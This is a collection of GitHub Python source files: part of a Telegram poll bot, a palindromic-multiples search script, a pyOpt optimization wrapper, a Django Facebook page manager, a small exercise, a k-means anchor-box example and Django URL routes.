'''Sorry, format is invalid,\nYou can always get help by /help'''\n            )\n\n    # function helper for printing\n    def user_info(message):\n        print(\n            '******************************************my propertoes are:  ***********************************************')\n        print(message.text)\n        print(message.from_user.id)\n        print(message.chat.id)\n        print(message.from_user.first_name)\n        print(message.from_user.last_name)\n        print(message.from_user.username)\n\n    @dp.message_handler(commands=['register'])\n    async def register(message: types.Message):\n        try:\n            chat_id = str(message.chat.id)\n            user_name = parse_user_name(message.text)\n\n            request_res = requests.post(my_bot.MY_SERVER_PATH + '/register_user'\n                              , json={'chat_id': chat_id, 'user_name': user_name})\n\n            message_back = json.loads(request_res.content.decode('utf8'))\n            if message_back['message_back'] == \"general_error_reply\":\n                await message.reply(my_bot.error_reply)\n            else:\n                await message.reply(message_back['message_back'])\n\n        except InvalidUserNameException as e:\n            await sendFormatErrorToUser(message)\n        except Exception as e:\n            print(e)\n            await message.reply(my_bot.error_reply)\n\n    @dp.message_handler(commands=['remove'])\n    async def remove(message: types.Message):\n        try:\n            chat_id = str(message.chat.id)\n            user_name = parse_user_name(message.text)\n\n            request_res = requests.post(my_bot.MY_SERVER_PATH + '/remove_user'\n                                        , json={'chat_id': chat_id, 'user_name': user_name})\n\n            message_back = json.loads(request_res.content.decode('utf8'))\n            if message_back['message_back'] == \"general_error_reply\":\n                await message.reply(my_bot.error_reply)\n            else:\n                await message.reply(message_back['message_back'])\n\n        except InvalidUserNameException as e:\n            await sendFormatErrorToUser(message)\n        except Exception as e:\n            print(e)\n            await message.reply(my_bot.error_reply)\n\n    @dp.message_handler(commands=['MyName'])\n    async def my_name(message: types.Message):\n        try:\n            chat_id = str(message.chat.id)\n            #user_name = parse_user_name(message.text)\n            request_res = requests.post(my_bot.MY_SERVER_PATH + '/my_name_user'\n                                        , json={'chat_id': chat_id})\n\n            message_back = json.loads(request_res.content.decode('utf8'))\n            if message_back['message_back'] == \"general_error_reply\":\n                await message.reply(my_bot.error_reply)\n            else:\n                await message.reply(message_back['message_back'])\n\n        except InvalidUserNameException as e:\n            await sendFormatErrorToUser(message)\n        except Exception as e:\n            print(e)\n            await message.reply(my_bot.error_reply)\n\n    @dp.message_handler(commands=['poll'])\n    async def poll(message_user: types.Message) -> None:\n        \"\"\"Sends a predefined poll\"\"\"\n        answers = [\"Good\", \"Really good\", \"Fantastic\", \"Great\"]\n        poll = await my_bot.bot.send_poll(\n            message_user.chat.id,\n            \"How are you?\",\n            answers,\n            is_anonymous=False,\n            allows_multiple_answers=False,\n        )\n        # Save some info about the poll the bot_data for later use in receive_poll_answer\n        payload = {\n            poll.poll.id: {\n                \"questions\": answers,\n                \"message_id\": poll.message_id,\n                \"chat_id\": message_user.chat.id,\n                \"answer\": poll,\n            }\n        }\n        my_bot.dp.data.update(payload)\n\n    @dp.poll_answer_handler()\n    async def receive_poll_answer(message_user: types.Message) -> None:\n        \"\"\"Summarize a users poll vote\"\"\"\n        print(message_user)\n        #message_user = {\"poll_id\": \"5969670530423324700\", \"user\": {\"id\": 1332261387, \"is_bot\": false, \"first_name\": \"Nir\", \"language_code\": \"en\"}, \"option_ids\": [2]}\n\n        try:\n            poll_id_telegram = str(message_user['poll_id'])\n            chat_id = str(message_user['user']['id'])\n            answer_number = message_user['option_ids'][0]\n            print('poll_id_telegram : ', poll_id_telegram)\n            print('chat_id : ', chat_id)\n            print('answer_number : ', str(answer_number))\n\n            request_res = requests.post(my_bot.MY_SERVER_PATH + '/user_answer'\n                                        , json=\n                                        {'chat_id': chat_id,\n                                         'poll_id_telegram': poll_id_telegram,\n                                         'answer_number': answer_number\n                                         })\n\n            message_back = json.loads(request_res.content.decode('utf8'))\n            print(message_back['message_back'])\n            try:\n                print(message_user)\n                await my_bot.bot.send_message(chat_id,\"Thanks, Your answer has been received\")\n            except Exception as e:\n                print(e)\n                print('error at replay')\n\n        except InvalidUserNameException as e:\n            await sendFormatErrorToUser(message_user)\n\n\n        # this means this poll answer update is from an old poll, we can't do our answering then\n        except KeyError:\n            return\n\n        except Exception as e:\n            print(e)\n        # selected_options = answer.option_ids\n        # answer_string = \"\"\n        # for question_id in selected_options:\n        #     if question_id != selected_options[-1]:\n        #         answer_string += questions[question_id] + \" and \"\n        #     else:\n        #         answer_string += questions[question_id]\n        # context.bot.send_message(\n        #     context.bot_data[poll_id][\"chat_id\"],\n        #     f\"{update.effective_user.mention_html()} feels {answer_string}!\",\n        #     parse_mode=ParseMode.HTML,\n        # )\n        # context.bot_data[poll_id][\"answers\"] += 1\n        # # Close poll after three participants voted\n        # if context.bot_data[poll_id][\"answers\"] == 3:\n        #     context.bot.stop_poll(\n        #         context.bot_data[poll_id][\"chat_id\"], context.bot_data[poll_id][\"message_id\"]\n        #     )\n\n    # send error format for each non recognized request\n    @dp.message_handler()\n    async def echo(message: types.Message):\n        # old style:\n        # await bot.send_message(message.chat.id, message.text)\n\n        await sendFormatErrorToUser(message)\n\n\n\n    # run the bot async\n    executor.start_polling(dp, skip_updates=False)\n\n\nif __name__ == '__main__':\n    startBot_async()\n","repo_name":"nir6760/project_managingData","sub_path":"telegram_bot_server/async_bot.py","file_name":"async_bot.py","file_ext":"py","file_size_in_byte":10247,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"786895707","text":"from collections import deque\nimport math\nimport multiprocessing\nimport resource\nimport sys\n\ndef reverseInt(n):\n    return int(bin(n)[:1:-1], 2)\n\n# brute force\ndef algo1(n, output=None):\n    k = 1\n    while True:\n        kn = bin(k * n)[2:]\n        if kn == kn[::-1]:\n            kn = int(kn, base=2)\n            if output:\n                output.put((n, kn//n, kn, \"algo1\"))\n            return (n, kn//n, kn, \"algo1\")\n        k += 2\n\n# Enumerate all palindromes k and check for the first one that is divisible by n.\ndef algo2(n, output=None):\n    # Find kn = yay^R.\n    lenkn = n.bit_length()\n    odd = lenkn % 2\n    a = 0\n    y = 2 ** ((lenkn // 2) - 1)\n    while True:\n        kn = (y * (2 ** ((lenkn // 2) + odd))) + a + reverseInt(y)\n        if kn % n == 0:\n            if output:\n                output.put((n, kn//n, kn, \"algo2\"))\n            return (n, kn//n, kn, \"algo2\")\n        if odd == 1 and a == 0:\n            a = 2**(lenkn // 2)\n        else:\n            a = 0\n            y += 1\n            if y == 2 ** (lenkn // 2):\n                if not odd:\n                    y //= 2\n                lenkn += 1\n                odd = 1 - odd\n\n# DP Subset Sum\n# Potentially unstable for even n (might return something when nothing should be valid)\ndef algo3(n, output=None):\n    lenkn = n.bit_length()\n    odd = lenkn % 2\n    while True:\n        # Setup the problem set\n        subsetSumSet = dict()\n        for i in range(lenkn // 2):\n            subsetSumSet[(lenkn - 1) - i] = ((2 ** i) + (2 ** ((lenkn - 1) - i))) % n\n        if odd:\n            subsetSumSet[lenkn // 2] = (2 ** (lenkn // 2)) % n\n        # Setup the memoization and initial state\n        precomputed = []\n        subsetSumSolutions = dict()\n        precomputed.append(2 ** (lenkn - 1))\n        subsetSumSolutions[2 ** (lenkn - 1)] = subsetSumSet[lenkn - 1]\n        if subsetSumSolutions[2 ** (lenkn - 1)] == 0:\n            kn = (2 ** (lenkn - 1)) + reverseInt(2 ** (lenkn - 1))\n            if output:\n                output.put((n, kn//n, kn, \"algo3\"))\n            return (n, kn//n, kn, \"algo3\")\n        if odd:\n            precomputed.append((2 ** (lenkn - 1)) + (2 ** (lenkn // 2)))\n            subsetSumSolutions[(2 ** (lenkn - 1)) + (2 ** (lenkn // 2))] = (subsetSumSet[lenkn - 1] + subsetSumSet[lenkn // 2]) % n\n            if subsetSumSolutions[(2 ** (lenkn - 1)) + (2 ** (lenkn // 2))] == 0:\n                kn = ((2 ** (lenkn - 1)) + (2 ** (lenkn // 2))) + reverseInt((2 ** (lenkn - 1)) + (2 ** (lenkn // 2)))\n                kn -= 2 ** (lenkn // 2)\n                if output:\n                    output.put((n, kn//n, kn, \"algo3\"))\n                return (n, kn//n, kn, \"algo3\")\n        # Run the problem\n        for i in range(lenkn // 2 + odd, lenkn - 1):\n            nextPrecomputed = []\n            for j in precomputed:\n                result = (subsetSumSolutions[j] + subsetSumSet[i]) % n\n                resultIndex = j + (2 ** i)\n                if result == 0:\n                    kn = resultIndex + reverseInt(resultIndex)\n                    if odd and ((2 ** (lenkn // 2)) & resultIndex):\n                        kn -= 2 ** (lenkn // 2)\n                    if output:\n                        output.put((n, kn//n, kn, \"algo3\"))\n                    return (n, kn//n, kn, \"algo3\")\n                subsetSumSolutions[resultIndex] = result\n                nextPrecomputed.append(resultIndex)\n            precomputed = precomputed + nextPrecomputed\n        # No solution found\n        lenkn += 1\n        odd = 1 - odd\n\n# Do BFS over implicitly built DFA.\ndef algo4(n, output=None):\n    # Setup tracking\n    global pathTo\n    pathTo = dict()\n    bfsQueue = deque()\n    # Setup initial states\n    pathTo[(0, 2 % n, 0)] = (\"\", None, 0)\n    bfsQueue.append((0, 2 % n, 0))\n    pathTo[(0, 4 % n, 0)] = (\"0\", None, 1)\n    bfsQueue.append((0, 4 % n, 0))\n    pathTo[(1, 4 % n, 1)] = (\"1\", None, 1)\n    bfsQueue.append((1, 4 % n, 1))\n    # Loop\n    while True:\n        currentState = bfsQueue.popleft()\n        nextStateZero = ((2 * currentState[0]) % n, (4 * currentState[1]) % n, currentState[2])\n        if nextStateZero not in pathTo:\n            pathTo[nextStateZero] = (\"0\", currentState, pathTo[currentState][2] + 2)\n            bfsQueue.append(nextStateZero)\n        elif (pathTo[nextStateZero][2] == pathTo[currentState][2] + 2) and (pathTo[nextStateZero][0] == \"1\"):\n            pathTo[nextStateZero] = (\"0\", currentState, pathTo[currentState][2] + 2)\n        nextStateOne = (((2 * currentState[0]) + 1 + currentState[1]) % n, (4 * currentState[1]) % n, 1)\n        if nextStateOne not in pathTo:\n            pathTo[nextStateOne] = (\"1\", currentState, pathTo[currentState][2] + 2)\n            bfsQueue.append(nextStateOne)\n        # Check for answer\n        if nextStateOne[2] == 1 and nextStateOne[0] == 0:\n            x = \"\"\n            currentState = nextStateOne\n            while True:\n                path = pathTo[currentState]\n                if path[1] == None:\n                    x = x + path[0] + x[::-1]\n                    kn = int(x, base=2)\n                    if output:\n                        output.put((n, kn//n, kn, \"algo4\"))\n                    return (n, kn//n, kn, \"algo4\")\n                else:\n                    x += path[0]\n                    currentState = path[1]\n\ndef multiAlgoSearch(n):\n    output = multiprocessing.Queue()\n    algo1process = multiprocessing.Process(target=algo1, args=(n, output))\n    algo1process.start()\n    algo2process = multiprocessing.Process(target=algo2, args=(n, output))\n    algo2process.start()\n    algo3process = multiprocessing.Process(target=algo3, args=(n, output))\n    algo3process.start()\n    algo4process = multiprocessing.Process(target=algo4, args=(n, output))\n    algo4process.start()\n    result = output.get()\n    algo1process.terminate()\n    algo2process.terminate()\n    algo3process.terminate()\n    algo4process.terminate()\n    return result\n\ndef memory_limit(systemMemFrac):\n    soft, hard = resource.getrlimit(resource.RLIMIT_AS)\n    resource.setrlimit(resource.RLIMIT_AS, (get_memory() * 1024 * (systemMemFrac), hard))\n\ndef get_memory():\n    with open('/proc/meminfo', 'r') as mem:\n        free_memory = 0\n        for i in mem:\n            sline = i.split()\n            if str(sline[0]) in ('MemFree:', 'Buffers:', 'Cached:'):\n                free_memory += int(sline[1])\n    return free_memory\n\nif __name__ == \"__main__\":\n    if True:\n        memory_limit(0.4)\n        n = 1\n        with open(\"PalindromicMultiplesOutput.txt\", \"a\") as outputFile:\n            while n < 10000000:\n                outputFile.write(\" \".join([str(s) for s in multiAlgoSearch(n)]) + \"\\n\")\n                outputFile.flush()\n                n += 2\n    if False:\n        n = 3054503\n        #print(algo1(n))\n        #print(algo2(n))\n        #print(algo3(n))\n        #print(algo4(n))\n        print(multiAlgoSearch(n))\n","repo_name":"josephmeleshko/Ratio-Sets-Masters-Thesis-Data","sub_path":"PalindromicMultiples/PalindromicMultiplesFixed.py","file_name":"PalindromicMultiplesFixed.py","file_ext":"py","file_size_in_byte":6866,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"21997766198","text":"#!/usr/bin/python\n\n\"\"\"\n\nAuthor: Jun Zhu\n\n\"\"\"\nimport pyOpt\n\nfrom .linacopt_objective import Objective\nfrom .linacopt_constraint import Constraint\nfrom .linacopt_variable import Variable\nfrom .linacopt_covariable import CoVariable\nfrom .linacopt_staticvariable import StaticVariable\n\n\nclass Optimization(pyOpt.Optimization):\n    \"\"\"Inherited from pyOpt.Optimization class\"\"\"\n    def __init__(self, name, obj_fun, *args, **kwargs):\n        \"\"\"Initialize Optimization object\"\"\"\n        self._covariables = {}\n        self._staticvariables = {}\n\n        super().__init__(name, obj_fun, *args, **kwargs)\n\n    def set_obj(self, *args, **kwargs):\n        \"\"\"Add a objective into the objective set\"\"\"\n        i = self.firstavailableindex(self._objectives)\n\n        if (len(args) > 0) and isinstance(args[0], Objective):\n            self._objectives[i] = args[0]\n        else:\n            try:\n                self._objectives[i] = Objective(*args, **kwargs)\n            except:\n                raise ValueError(\"Input is not a valid for a Objective \"\n                                 \"Object instance\\n\")\n\n        self._remove_duplicity(self._objectives, i)\n\n    def del_obj(self, ix):\n        \"\"\"Delete the objective *ix* from the objective set\n\n        :param ix: int/string\n            Index (if int) or name (if string)\n        \"\"\"\n        index = -1\n        if isinstance(ix, int):\n            if ix < 0:\n                raise ValueError(\"Index must be an integer >= 0.\\n\")\n            elif ix not in self._objectives:\n                raise ValueError(\"Index is not found.\\n\")\n            else:\n                index = ix\n        elif isinstance(ix, str):\n            index = self._find_index_by_name(ix, self._objectives)\n            if index < 0:\n                raise ValueError(\"Objective '{}' is not found.\\n\".format(ix))\n\n        del self._objectives[index]\n\n        self.shift_index(self._objectives, index)\n\n    def get_objset(self):\n        \"\"\"Get the objective set\"\"\"\n        return self._objectives\n\n    def set_con(self, *args, **kwargs):\n        \"\"\"Add a constraint into the constraint set\"\"\"\n        i = self.firstavailableindex(self._constraints)\n\n        if (len(args) > 0) and isinstance(args[0], Constraint):\n            self._constraints[i] = args[0]\n        else:\n            try:\n                self._constraints[i] = Constraint(*args, **kwargs)\n            except:\n                raise ValueError(\"Input is not a valid for a Constraint \"\n                                 \"Object instance\\n\")\n\n        self._remove_duplicity(self._constraints, i)\n\n    def del_con(self, ix):\n        \"\"\"Delete the constraint *ix* from the constraint set\n\n        :param ix: int/string\n            Index (if int) or name (if string)\n        \"\"\"\n        index = -1\n        if isinstance(ix, int):\n            if ix < 0:\n                raise ValueError(\"Index must be an integer >= 0.\\n\")\n            elif ix not in self._constraints:\n                raise ValueError(\"Index is not found.\\n\")\n            else:\n                index = ix\n        elif isinstance(ix, str):\n            index = self._find_index_by_name(ix, self._constraints)\n            if index < 0:\n                raise ValueError(\"Constraint '{}' is not found.\\n\".format(ix))\n\n        del self._constraints[index]\n\n        self.shift_index(self._constraints, index)\n\n    def get_conset(self):\n        \"\"\"Get the constraint set\"\"\"\n        return self._constraints\n\n    def set_var(self, *args, **kwargs):\n        \"\"\"Add a variable into the variable set\"\"\"\n        i = self.firstavailableindex(self._variables)\n\n        if (len(args) > 0) and isinstance(args[0], Variable):\n            self._variables[i] = args[0]\n        else:\n            try:\n                self._variables[i] = Variable(*args, **kwargs)\n            except:\n                raise ValueError(\n                    \"Input is not valid for a Variable Object instance.\\n\")\n\n        # Try to inherit the value from the co-variable set.\n        ii = self._find_index_by_name(self._variables[i].name,\n                                      self._covariables)\n        if ii >= 0:\n            self._variables[i].value = self._covariables[ii].value\n            self.del_covar(ii)\n            print(\"\\n{} was changed from co-variable to variable!\".\n                  format(self._variables[i].name))\n\n        # Try to inherit the value from the static variable set.\n        ii = self._find_index_by_name(self._variables[i].name,\n                                      self._staticvariables)\n        if ii >= 0:\n            self._variables[i].value = self._staticvariables[ii].value\n            self.del_staticvar(ii)\n            print(\"\\n{} was changed from static variable to variable!\".\n                  format(self._variables[i].name))\n\n        self._remove_duplicity(self._variables, i)\n\n    def del_var(self, ix):\n        \"\"\"Delete the variable *ix* from the variable set\n\n        :param ix: int/string\n            Index (if int) or name (if string)\n        \"\"\"\n        index = -1\n        if isinstance(ix, int):\n            if ix < 0:\n                raise ValueError(\"Index must be an integer >= 0.\\n\")\n            elif ix not in self._variables:\n                raise ValueError(\"Index is not found.\\n\")\n            else:\n                index = ix\n        elif isinstance(ix, str):\n            index = self._find_index_by_name(ix, self._variables)\n            if index < 0:\n                raise ValueError(\"Variable '{}' is not found.\\n\".format(ix))\n\n        del self._variables[index]\n\n        self.shift_index(self._variables, index)\n\n    def get_varset(self):\n        \"\"\"Get the variable set\"\"\"\n        return self._variables\n\n    def set_covar(self, *args, **kwargs):\n        \"\"\"Add a co-variable into the co-variable set\"\"\"\n        i = self.firstavailableindex(self._covariables)\n\n        if (len(args) > 0) and isinstance(args[0], CoVariable):\n            self._covariables[i] = args[0]\n        else:\n            try:\n                self._covariables[i] = CoVariable(*args, **kwargs)\n            except:\n                raise ValueError(\n                    \"Input is not valid for a CoVariable object instance.\\n\")\n\n        # Variable and static-variable cannot be changed to co-variable since\n        # they will lose their values in the last optimization.\n        try:\n            self.del_var(self._covariables[i].name)\n            print(\"\\n{} was changed from variable to co-variable!\".\n                  format(self._covariables[i].name))\n            print(\"Warning: changing variable to co-variable may lose \"\\\n                  \"the optimized result!\\n\")\n        except ValueError:\n            pass\n\n        try:\n            self.del_staticvar(self._covariables[i].name)\n            print(\"\\n{} was changed from static variable to co-variable!\".\n                  format(self._covariables[i].name))\n            print(\"Warning: changing static variable to co-variable may lose \"\\\n                  \"the optimized result!\\n\")\n        except ValueError:\n            pass\n\n        self._remove_duplicity(self._covariables, i)\n\n    def del_covar(self, ix):\n        \"\"\"Delete the co-variable *ix* from the co-variable set\n\n        :param ix: int/string\n            Index (if int) or name (if string)\n        \"\"\"\n        index = -1\n        if isinstance(ix, int):\n            if ix < 0:\n                raise ValueError(\"Index must be an integer >= 0.\\n\")\n            elif ix not in self._covariables:\n                raise ValueError(\"Index is not found.\\n\")\n            else:\n                index = ix\n        elif isinstance(ix, str):\n            index = self._find_index_by_name(ix, self._covariables)\n            if index < 0:\n                raise ValueError(\"Co-variable '{}' is not found.\\n\".format(ix))\n\n        del self._covariables[index]\n\n        self.shift_index(self._covariables, index)\n\n    def get_covarset(self):\n        \"\"\"Get co-variable set\"\"\"\n        return self._covariables\n\n    def set_staticvar(self, *args, **kwargs):\n        \"\"\"Add a static variable into the static variable set\"\"\"\n        i = self.firstavailableindex(self._staticvariables)\n\n        if (len(args) > 0) and isinstance(args[0], StaticVariable):\n            self._staticvariables[i] = args[0]\n        else:\n            try:\n                self._staticvariables[i] = StaticVariable(*args, **kwargs)\n            except:\n                raise ValueError(\n                    \"Input is not valid for a StaticVariable object instance\\n\")\n\n        # Try to inherit the value from the variable set.\n        ii = self._find_index_by_name(self._staticvariables[i].name,\n                                      self._variables)\n        if ii >= 0:\n            self._staticvariables[i].value = self._variables[ii].value\n            self.del_var(ii)\n            print(\"\\n{} was changed from variable to static variable!\\n\".\n                  format(self._staticvariables[i].name))\n\n        # Try to inherit the value from the co-variable set.\n        ii = self._find_index_by_name(self._staticvariables[i].name,\n                                      self._covariables)\n        if ii >= 0:\n            self._staticvariables[i].value = self._covariables[ii].value\n            self.del_covar(ii)\n            print(\"\\n{} was changed from co-variable to static variable!\\n\".\n                  format(self._staticvariables[i].name))\n\n        if self._staticvariables[i].value is None:\n            raise ValueError(\"Unknown value of static variable: {}\".\n                             format(self._staticvariables[i].name))\n\n        self._remove_duplicity(self._staticvariables, i)\n\n    def del_staticvar(self, ix):\n        \"\"\"Delete static variable *ix* from the static variable set\n\n        :param ix: int/string\n            Index (if int) or name (if string)\n        \"\"\"\n        index = -1\n        if isinstance(ix, int):\n            if ix < 0:\n                raise ValueError(\"Index must be an integer >= 0.\\n\")\n            elif ix not in self._staticvariables:\n                raise ValueError(\"Index is not found.\\n\")\n            else:\n                index = ix\n        elif isinstance(ix, str):\n            index = self._find_index_by_name(ix, self._staticvariables)\n            if index < 0:\n                raise ValueError(\"Static-variable '{}' is not found.\\n\".\n                                 format(ix))\n\n        del self._staticvariables[index]\n\n        self.shift_index(self._staticvariables, index)\n\n    def get_staticvarset(self):\n        \"\"\"Get the static variable set\"\"\"\n        return self._staticvariables\n\n    @staticmethod\n    def shift_index(dict_, index):\n        \"\"\"\"\"\"\n        while len(dict_) > index:\n            dict_[index] = dict_[index+1]\n            del dict_[index+1]\n            index += 1\n\n    @staticmethod\n    def _remove_duplicity(dict_, ii):\n        \"\"\"Remove duplicity\n\n        If the name of the ii-th item is equal to the name of another\n        item with index i, the i-th item is set equal to the ii-th item\n        and the latter is then removed.\n        \"\"\"\n        for i, item in dict_.items():\n            if i != ii and item.name == dict_[ii].name:\n                dict_[i] = dict_[ii]\n                del dict_[ii]\n                return\n\n    @staticmethod\n    def _find_index_by_name(name, dict_):\n        \"\"\"Return the index of object with object.name == name\"\"\"\n        index = -1\n        for key, ele in dict_.items():\n            if name == ele.name:\n                index = key\n\n        return index\n\n    def __str__(self):\n        \"\"\"Print Structured Optimization Problem\n\n        Overwrite the original method to include the summary of\n        co-variables, static variables as well as functions in\n        constraints and objectives.\n        \"\"\"\n        text = \"\\nOptimization Problem -- %s\\n%s\\n\" % (self.name, '='*80)\n\n        text += \"\\nObjectives:\\n\"\\\n                \"  {:18}  {:11}  {:11}  {:16}\\n\"\\\n                .format('Name', 'Value', 'Optimum', 'Function')\n\n        for index in list(self._objectives.keys()):\n            lines = str(self._objectives[index]).split('\\n')\n            text += lines[1] + '\\n'\n\n        if len(list(self._constraints.keys())) > 0:\n            text += \"\\nConstraints:\\n\"\\\n                    \"  {:18}  {:11}  {:48}\\n\"\\\n                    .format('Name', 'Value', 'Bound')\n            for index in list(self._constraints.keys()):\n                lines = str(self._constraints[index]).split('\\n')\n                text += lines[1] + '\\n'\n\n        text += \"\\nVariables (c - continuous, i - integer, d - discrete):\\n\"\\\n                \"  {:18}  {:6}  {:11}  {:11}  {:11}\\n\"\\\n                .format('Name', 'Type', 'Value', 'Lower Bound', 'Upper Bound')\n        for index in list(self._variables.keys()):\n            lines = str(self._variables[index]).split('\\n')\n            text += lines[1] + '\\n'\n\n        if len(list(self._covariables.keys())) > 0:\n            text += \"\\nCo-variables:\\n\"\\\n                    \"  {:18}  {:16}  {:11}  {:11}\\n\"\\\n                    .format('Name', 'Dependent(s)', 'Slope(s)', 'Intercept')\n            for index in list(self._covariables.keys()):\n                lines = str(self._covariables[index]).split('\\n')\n                text += lines[1] + '\\n'\n\n        if len(list(self._staticvariables.keys())) > 0:\n            text += \"\\nStatic variables:\\n\"\\\n                    \"  {:18}  {:11}\\n\".format('Name', 'Value')\n            for index in list(self._staticvariables.keys()):\n                lines = str(self._staticvariables[index]).split('\\n')\n                text += lines[1] + '\\n'\n\n        return text\n","repo_name":"zhujun98/linacopt","sub_path":"linacopt/linacopt_optimization.py","file_name":"linacopt_optimization.py","file_ext":"py","file_size_in_byte":13563,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"8649849008","text":"import json, requests\nfrom django.http import HttpResponse\n# from fb_app.utils import FacebookPageManager\nfrom django.shortcuts import render, redirect\nfrom django.contrib.auth.decorators import login_required\n\n\nclass FacebookPageManager(object):\n    \"\"\" Manages the Facebook Page\"\"\"\n    API_ENDPOINT = 'https://graph.facebook.com/v2.10'\n\n    def __init__(self, access_token):\n        self.access_token = access_token\n\n    def get_page_info(self):\n        # returns the page information (first page) fb page owned by the user\n        payload = {'access_token': self.access_token}\n        url = '{}/me/accounts'.format(self.API_ENDPOINT)\n        resp = requests.get(url, params = payload)\n        data = json.loads(resp.text)\n        if data.get('data'):\n            page_info = data.get('data')[0]\n            payload = {'access_token': self.access_token, 'fields' : 'single_line_address,phone,is_published,overall_star_rating,emails,about,location'}\n            url = '{}/{}/'.format(self.API_ENDPOINT, page_info.get('id'))\n            resp = requests.get(url, params = payload)\n            data = json.loads(resp.text)\n            data.update({'emails' :','.join(data.get('emails', []))})\n            page_info.update(data)\n            located_in_us = True if data.get('location',{}).get('country','').strip().lower() in ['united states', 'usa', 'us', 'united states of america'] else False\n            page_info.update({'listed' : True, 'located_in_us' : located_in_us})\n        else:\n            page_info = {'listed' : False}\n        return page_info\n\n    def update_page_info(self, data):\n        # updates facebook page information\n        # location =  '{'+'\"city\": \"{city}\", \"street\": \"{street}\", \"state\": \"{state}\", \"country\": \"{country}\", \"zip\": \"{zip}\"'.format(city=data.get('city'), street=data.get('street'),  state=data.get('state'), country=data.get('country'), zip=data.get('zip')) + '}'\n        # payload = {'access_token': data.get('access_token'), 'about' : data.get('about',''),'phone' : data.get('phone',''), 'emails' : '[\"{}\",]'.format(data.get('emails')), 'location' : location}\n        payload = {'access_token': data.get('access_token'), 'about' : data.get('about',''),'phone' : data.get('phone',''), 'emails' : '[\"{}\",]'.format(data.get('emails'))}\n        url = '{}/{}/'.format(self.API_ENDPOINT, data.get('id'))\n        resp = requests.post(url, params = payload)\n        return json.loads(resp.text)\n\n\n@login_required\ndef home(request):\n    # Home page of the application\n    social_user = request.user.social_auth.filter(provider='facebook', ).first() \n    access_token = social_user.extra_data['access_token']\n    fb_page_manager = FacebookPageManager(access_token)\n    page_info = fb_page_manager.get_page_info()\n    return render(request, 'fb/home.html', context=page_info)\n\n@login_required\ndef update_page_info(request):\n    # Updates the page information\n    if request.method == 'POST':\n        social_user = request.user.social_auth.filter(provider='facebook', ).first() \n        access_token = social_user.extra_data['access_token']\n        fb_page_manager = FacebookPageManager(access_token)\n        data = fb_page_manager.update_page_info(request.POST)\n        error_user_msg = data.get('error').get('error_user_msg') if data.get('error') else ''\n        return HttpResponse(json.dumps({'success' : 1 if data.get('success') else 2, 'eum' : error_user_msg}), content_type=\"application/json\")\n","repo_name":"adarshharidas/fb_test_project","sub_path":"fb/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3432,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"74425353379","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Oct 16 10:30:25 2017\n\n@author: MannyXu\n\"\"\"\n\ndef Mod37(i):\n    if i % 37:\n        return False\n    else:\n        return True\n\ndef nums(i):\n    sevs = i % 10\n    tens = (i // 10) % 10\n    huds = i // 100\n    num1 = tens * 100 + sevs * 10 + huds\n    num2 = sevs * 100 + huds * 10 +tens\n    return num1, num2\n\nfor i in range(100,1001):\n    if Mod37(i):\n        num1, num2 = nums(i)\n        if Mod37(num1) and Mod37(num2):\n            continue\n        else:\n            print(\"Bad Job\")\n            break\n    elif i <1000:\n        continue\n    print(\"Good Job\")\n","repo_name":"bitbrahms/DeepLearning","sub_path":"MOOC/Exercise/ex2-3.py","file_name":"ex2-3.py","file_ext":"py","file_size_in_byte":600,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"70633566821","text":"#coding:utf-8\n\n\nimport numpy as np\n\nfrom kmeans import kmeans, avg_iou, load_dataset,visualize_data\n\nANNOTATIONS_PATH = \"D:/DATASETS/VOC2012/VOCtrainval/VOC2007/Annotations\"\nCLUSTERS = 5\n\ndata = load_dataset(ANNOTATIONS_PATH)\n\nvisualize_data(data)\n\nout = kmeans(data, k=CLUSTERS)\nprint(\"Accuracy: {:.2f}%\".format(avg_iou(data, out) * 100))\nprint(\"Boxes:\\n {}\".format(out))\n\nratios = np.around(out[:, 0] / out[:, 1], decimals=2).tolist()\nprint(\"Ratios:\\n {}\".format(sorted(ratios)))","repo_name":"JimmyLauren/DefaultBoxGenerationusingKmeans","sub_path":"example.py","file_name":"example.py","file_ext":"py","file_size_in_byte":481,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"13282082933","text":"from cars.api.v1.brands.views import *\nfrom django.urls import path\n\napp_name = 'brands'\nurlpatterns = [\n    path('create/', CarBrandCreateView.as_view()),\n    path('all/', CarBrandListView.as_view()),\n    path('detail/<uuid:pk>', CarBrandDetailView.as_view()),\n    path('sum/', CarBrandSumView.as_view()),\n]\n","repo_name":"ArtemOsokin/car_order_management","sub_path":"car_order_managment/cars/api/v1/brands/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":309,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
